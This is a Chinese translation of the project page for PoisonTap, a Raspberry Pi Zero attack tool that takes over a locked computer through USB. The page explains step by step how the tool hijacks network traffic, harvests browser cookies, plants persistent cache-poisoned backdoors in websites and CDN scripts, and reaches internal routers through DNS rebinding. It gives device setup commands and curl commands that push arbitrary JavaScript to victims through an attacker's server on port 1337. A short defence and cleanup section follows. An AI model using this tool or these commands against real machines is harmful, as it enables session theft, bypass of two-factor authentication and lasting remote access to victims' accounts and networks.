PoisonTap - 从锁定的计算机上窃取 Cookie、暴露内部路由器并安装 Web 后门
由 @SamyKamkar 创建 || https://samy.pl
当 PoisonTap(Raspberry Pi Zero 与 Node.js)插入一台已锁定/受密码保护的计算机时,它可以:
- 通过 USB(或 Thunderbolt)模拟一个以太网设备
- 劫持来自该机器的所有互联网流量(尽管它是一个低优先级/未知的网络接口)
- 从 Web 浏览器中窃取并存储 Alexa 排名前 1,000,000 个网站的 HTTP Cookie 和会话
- 将内部路由器暴露给攻击者,使其能够通过出站 WebSocket 和 DNS rebinding 远程访问(感谢 Matt Austin 提出的 rebinding 思路!)
- 在数十万个域名和常见 Javascript CDN URL 的 HTTP 缓存中安装持久化的基于 Web 的后门,所有这些后门都能通过缓存投毒访问用户的 Cookie
- 允许攻击者远程强制用户发起 HTTP 请求,并携带用户的 Cookie 在任何被植入后门的域名上代理返回响应(GET 和 POST)
- 无需解锁机器
- 后门和远程访问在设备被移除且攻击者扬长而去之后仍然持续有效

(由 Ara 制作的令人惊叹的 HTML5 canvas 动画)
PoisonTap 绕过了以下安全机制:
演示
PoisonTap 专为 5 美元的 Raspberry Pi Zero 打造,除了一根 micro-USB 线和一张 microSD 卡之外无需任何额外组件;也可以在任意 Raspberry Pi(1/2/3)上配合以太网转 USB/Thunderbolt 转接器使用;还可以在能够模拟 USB gadget 的其他设备上运行,例如 USB Armory 和 LAN Turtle。
现场演示和更多详细信息请参见视频:

联系人: @SamyKamkar // https://samy.pl
发布: 2016 年 11 月 16 日
源代码和下载: https://github.com/samyk/poisontap
PoisonTap 的工作原理
PoisonTap 通过利用机器和网络中各种机制(包括 USB/Thunderbolt、DHCP、DNS 和 HTTP)的现有信任,产生级联效应,从而引发信息窃取、网络访问和半永久后门安装的滚雪球效应。

简而言之,PoisonTap 执行以下操作:
网络劫持
- 攻击者将 PoisonTap(例如武器化的 Raspberry Pi Zero)插入已锁定的计算机(即使计算机受密码保护)
- PoisonTap 模拟一个以太网设备(例如,通过 USB/Thunderbolt 的以太网)—— 默认情况下,Windows、OS X 和 Linux 会识别以太网设备,自动将其加载为低优先级网络设备并执行 DHCP 请求,即使在机器被锁定或受密码保护时也是如此
- PoisonTap 响应 DHCP 请求并向机器提供一个 IP 地址,但 DHCP 响应的构造方式会告诉机器整个 IPv4 空间(0.0.0.0 - 255.255.255.255)都是 PoisonTap 本地网络的一部分,而不是一个小型子网(例如 192.168.0.0 - 192.168.0.255)
- 通常情况下,如果辅助网络设备连接到机器,它会被赋予比现有(可信)网络设备更低的优先级,并且不会取代互联网流量的网关,因此无关紧要,但是……
- 任何路由表 / 网关优先级 / 网络接口服务顺序安全性都会因“局域网流量”优先于“互联网流量”而被绕过
- PoisonTap 即使作为低优先级网络设备,也能利用这种网络访问,因为低优先级网络设备的子网比最高优先级网络设备的网关(默认路由)具有更高的优先级
- 这意味着,如果流量目的地是 1.2.3.4,通常该流量会命中主(非 PoisonTap)网络设备的默认路由/网关,但 PoisonTap 实际上会获得该流量,因为 PoisonTap 的“本地”网络/子网据称包含 1.2.3.4,以及存在的其他每一个 IP 地址 ;)
- 因此,即使机器连接到另一个具有更高优先级和正确网关(真正的 wifi、以太网等)的网络设备,所有互联网流量也会经过 PoisonTap

Cookie 窃取
- 只要 Web 浏览器在后台运行,打开的页面中很可能有一个会在后台发起 HTTP 请求(例如加载新的广告、向分析平台发送数据,或者只是继续跟踪你的网页浏览行为),方式是通过 AJAX 或动态 script/iframe 标签
- 你可以亲自验证:打开开发者工具/检查器(通常是 Cmd+Shift+I 或 Ctrl+Shift+I),访问一个访问量很大的网站,点击 Network 标签,就会看到即使你在页面上没有任何操作,远程资源仍在继续被访问
- 在这个 HTTP 请求发出时,由于所有流量都会经过 PoisonTap 设备,PoisonTap 会实时进行 DNS 欺骗,返回自己的地址,从而使 HTTP 请求命中 PoisonTap 的 Web 服务器(Node.js)
- 如果 DNS 服务器指向 PoisonTap 无法获得权限的内部 IP(LAN),攻击仍然有效,因为内部 DNS 服务器会为被攻击的各个域名产生公网 IP 地址,而 PoisonTap 已经劫持了这些公网 IP
- 一旦内部 DNS 服务器响应,Web 浏览器会命中公网 IP,最终在任一场景下都会命中 PoisonTap 的 Web 服务器(Node.js)
- 当 Node Web 服务器收到请求后,PoisonTap 会返回一个既可以解释为 HTML 又可以解释为 Javascript 的响应,两者都能正确执行(许多网站会在后台请求中加载 HTML 或 JS)
- 这个与 HTML/JS 无关的页面随后会生成许多隐藏的 iframe,每个 iframe 都指向 Alexa 排名前一百万的一个不同域名
- 域名上的任何“X-Frame-Options”安全性都会被绕过,因为 PoisonTap 现在是 HTTP 服务器,可以选择向客户端发送哪些头
- 由于对站点的每个 iframe HTTP 请求都会被发出(例如,http://nfl.com/PoisonTap),HTTP cookie 会从浏览器发送到被 PoisonTap 劫持的“公网 IP”,PoisonTap 会迅速记录这些 cookie/认证信息,将用户的数万个 cookie 记录到 PoisonTap 中
- 任何“HttpOnly”cookie 安全性都会被绕过,因为这些 cookie 会被捕获,因为并没有在域名本身执行 Javascript,而只是首先用其加载 iframe
- 任何跨域资源共享或同源策略安全性都会被绕过,因为浏览器认为正在访问的域名是合法的
- 由于我们捕获的是 cookie 而不是凭据,因此当攻击者使用 cookie 登录时,站点上实施的任何 2FA/MFA 都会被绕过。这是因为我们实际上并没有执行登录功能,而是继续一个已经登录的会话,这不会触发双因素认证
- 如果服务器使用 HTTPS,但 cookie 没有显式设置 Secure cookie 标志,那么 HTTPS 保护就会被绕过,cookie 会被发送到 PoisonTap

可远程访问的基于 Web 的后门
- 当 PoisonTap 产生数千个 iframe、强制浏览器加载每一个时,这些 iframe 并不是空白页面,而是缓存的 HTML+Javascript 后门,可以无限期缓存
- 由于 PoisonTap 在每个域名上强制缓存这些后门,后门与那个域名绑定,使攻击者将来能够使用该域名的 cookie 并发起同源请求,即使当前用户并未登录
- 页面的实际响应是 HTML 和 Javascript 的组合,会产生一个持久的 WebSocket 连接到攻击者的 Web 服务器(通过互联网,而不是在 PoisonTap 设备上)
- WebSocket 保持打开状态,允许攻击者在将来的任何时刻连回被植入后门的机器,并在任何已植入后门的源上执行请求(Alexa 排名前 1,000,000 的站点——见下文)
- 如果后门在一个站点(例如 nfl.com)上打开,但用户想要攻击另一个域名(例如 pinterest.com),攻击者可以加载 nfl.com 上的一个 iframe 指向 pinterest.com 的后门(http://pinterest.com/PoisonTap)
- 同样,域名上的任何“X-Frame-Options”、跨域资源共享和同源策略安全性都会被完全绕过,因为请求会命中 PoisonTap 留下的缓存,而不是真实域名

内部路由器后门与远程访问
- PoisonTap 无法劫持的唯一网络是真实网络接口的实际 LAN 子网(例如,如果用户的 wifi 子网是 192.168.0.x,这个网络不会受到影响),但是……
- PoisonTap 会在一个特殊主机上强制缓存后门,具体来说是目标路由器的 IP 前置到“.ip.samy.pl”,例如 192.168.0.1.ip.samy.pl,本质上产生一个持久的 DNS rebinding 攻击
- 当使用 PoisonTap 作为 DNS 服务器时(受害者使用公共 DNS 服务器),PoisonTap 会临时以专门的 PoisonTap IP(1.0.0.1)响应,这意味着那一刻的任何请求都会命中 PoisonTap 的 Web 服务器
- 如果 DNS 服务器被设置为内部网络(例如 192.168.0.x),则会额外向 1.0.0.1**.pin.ip.samy.pl 发出一个特制的请求,这个请求会告诉我在(公共互联网上的)专用 DNS 服务器,在几秒钟内临时**以“固定”的地址(1.0.0.1)响应任何 [ip.address].ip.samy.pl 地址
- PoisonTap 随后迅速在 http://192.168.0.1.ip.samy.pl/PoisonTap 上设置一个后门,此时该地址指向 1.0.0.1 处的 PoisonTap 设备,从而允许从 PoisonTap 设备访问和缓存该后门
- DNS pinning 和 DNS rebinding 安全性都会被绕过,因为先前发出的数十万个请求已经耗尽了 DNS pinning 表,而未来无需再进行 rebinding,这使得该攻击可以长期持续(感谢 Matt Austin 与我分享这种攻击方法!)
- 现在后门已被强制缓存到 http://192.168.0.1.ip.samy.pl/PoisonTap,将来对 192.168.0.1.ip.samy.pl 的任何请求都会命中未固定的 IP 地址,从而改为解析 192.168.0.1,直接指向路由器
- 这意味着如果通过后门远程加载 192.168.0.1.ip.samy.pl/PoisonTap 主机到 iframe 中,你就可以完全远程地对内部路由器上的任何其他页面执行 AJAX GET/POST,从而实现对内部路由器的远程访问
- 这可能导致对路由器的其他攻击,而这些攻击是攻击者原本可能永远无法访问的,例如使用路由器上的默认管理员凭据覆盖 DNS 服务器,或者暴露其他认证漏洞
DNS 服务器速览:
- [ip.addy].ip.samy.pl 通常响应 [ip.addy]
- 192.168.0.1.ip.samy.pl -> 192.168.0.1(A 记录)
- [ip.addy].pin.ip.samy.pl 临时(约 5 秒)将 *.ip.samy.pl 指向 [ip.addy]
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1(A 记录,短 TTL)
- (约 5 秒后)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1(A 记录)
其他的可远程访问的基于 Web 的后门
- 此外,PoisonTap 会替换数千个常见的基于 CDN 的 Javascript 文件(例如 Google 和 jQuery CDN),将其替换为正确的代码加上一个后门,让攻击者能够访问任何加载了被感染 CDN Javascript 文件的域名
- 由于每个域名上都留有一个后门,攻击者可以远程强制被植入后门的浏览器在几乎任何主要域名上执行同源请求(AJAX GET/POST),即使受害者当前没有打开任何指向该域名的窗口
- 当受害者访问任何其他也使用这些被感染、基于 HTTP 的 CDN Javascript 框架的站点时,后门也会生存在这些额外的站点上

如何防御 PoisonTap
服务端安全
如果你在运行 Web 服务器,防御 PoisonTap 很简单:
- 全程使用 HTTPS,至少对认证和已认证内容如此
- 说实话,你应该全程使用 HTTPS,并始终将 HTTP 内容重定向到 HTTPS,防止用户被诱导通过 HTTP 提供凭据或其他 PII
- 确保 Cookie 启用了 Secure 标志,防止 HTTPS cookie 通过 HTTP 泄露
- 使用远程 Javascript 资源时,使用 Subresource Integrity script 标签属性
- 使用 HSTS 防止 HTTPS 降级攻击
桌面安全
- 向 USB 和 Thunderbolt 端口添加水泥可能有效
- 每次离开机器时关闭浏览器可能有效,但完全不切实际
- 禁用 USB/Thunderbolt 端口同样有效,但也不切实际
- 锁定计算机没有任何效果,因为网络和 USB 栈在机器锁定时仍在运行;但是,进入需要密钥才能解密内存的加密睡眠模式(例如 FileVault2 + 深度睡眠)可以解决大部分问题,因为你的浏览器将不再发起请求,即使被唤醒也不会
下载
源代码: https://github.com/samyk/poisontap
安装 / 文件说明
注意:如果你发现设备不会自动充当以太网控制器(例如旧版 Windows),你可以在 pi_startup.sh 中更改 VID 和 PID```bash
sudo bash
If Raspbian BEFORE 2016-05-10, then run next line:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
将 dhcpd.conf 放置在 /etc/dhcp/dhcpd.conf,并将其余文件放置在 /home/pi/poisontap,然后重启以确保一切正常运行。
仓库中有许多<a href="https://github.com/samyk/poisontap" target=_blank>文件</a>,它们分别用于不同的端。列表如下:
* **backdoor.html** - 每当访问 http://hostname/PoisonTap URL 以窃取 cookie 时,此文件将作为强制缓存的内容被返回。它包含一个后门,该后门会创建一个到 samy.pl:1337 的出站 websocket(可调整为任何主机/端口),并保持打开状态等待服务器命令。这意味着当你在某个站点上加载 iframe(例如 http://hostname/PoisonTap)时,即使在机器上移除了 PoisonTap,返回的内容也会被填充进来。
* **backend_server.js** - 这是你在互联网可访问的服务器上运行的 Node.js 服务器。它是 backdoor.html 连接的目标(例如 samy.pl:1337)。这也是你连接以向你的已被 PoisonTap 控制的从属机器发送命令的同一台服务器,例如```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js - 通过 Node.js 在 Raspberry Pi Zero 上运行,是负责处理 PoisonTap 拦截到的任何 HTTP 请求、存储截获的 Cookie 以及注入缓存后门的 HTTP 服务器。
- pi_startup.sh - 在 Raspberry Pi Zero 启动时运行,用于将设备设置为模拟一个 Ethernet-over-USB gadget,建立恶意的 DHCP 服务器,允许流量重路由、DNS 欺骗,并启动上面的 pi_poisontap.js。
- target_backdoor.js - 此文件会被前置到任何与 CDN 相关的 JavaScript 文件上,从而对它们植入后门,例如 Google CDN 的 jQuery URL。
- target_injected_xhtmljs.html - 这是被注入到受害者机器上的无意/后台 HTTP/AJAX 请求中并引发整个攻击的代码。它被构造成既可以解释为 HTML,也可以解释为 JavaScript,并且仍然执行相同的代码。此外,令人惊叹的 HTML5 画布出自不可思议的 Ara oen CodePen 之手,它实在太棒了,不能不收录进来。当页面被 PoisonTap 接管时,出现的图形疯狂效果就来自这里。
- poisontap.cookies.log - 此文件在用户机器开始向 PoisonTap 发送 HTTP 请求时生成,并记录浏览器中的 Cookie 以及其关联的 URL/域名。
常见问题
- 问: 如何添加要被植入后门的额外域名?
- 答: 要被植入后门的域名列表通过
getDoms() 函数设置在 target_injected_xhtmljs.html 中。该列表本身由仓库根目录中的 alexa1m.sh 脚本填充。如果你想向此列表添加额外域名,只需修改 getDoms() 中的 return 调用即可。
- 问: 如何使用捕获到的 Cookie?
- 答: 你可以直接从浏览器的 JavaScript 控制台使用 Document.cookie API 来设置 Cookie。这篇 StackOverflow 帖子 还提供了一些 Chrome 专属建议,例如 Cookie Inspector Chrome 扩展。
- 问: 如何从一台机器上清除 PoisonTap?
- 答: 你应该清除本地操作系统的 DNS 缓存,以及所有浏览器缓存。你还可能需要使当时已登录的会话失效,因为这些会话可能已泄露 Cookie。请确保这些操作会使现有 Cookie 失效,而不仅仅是让你退出登录。(如果你想在当前机器上安全地使用 PoisonTap 设备,请先退出所有浏览器,然后你应该就可以安全地将其连接到你的机器。)
联系方式
联系人: @SamyKamkar
你可以通过 https://samy.pl 查看我的更多项目或与我联系。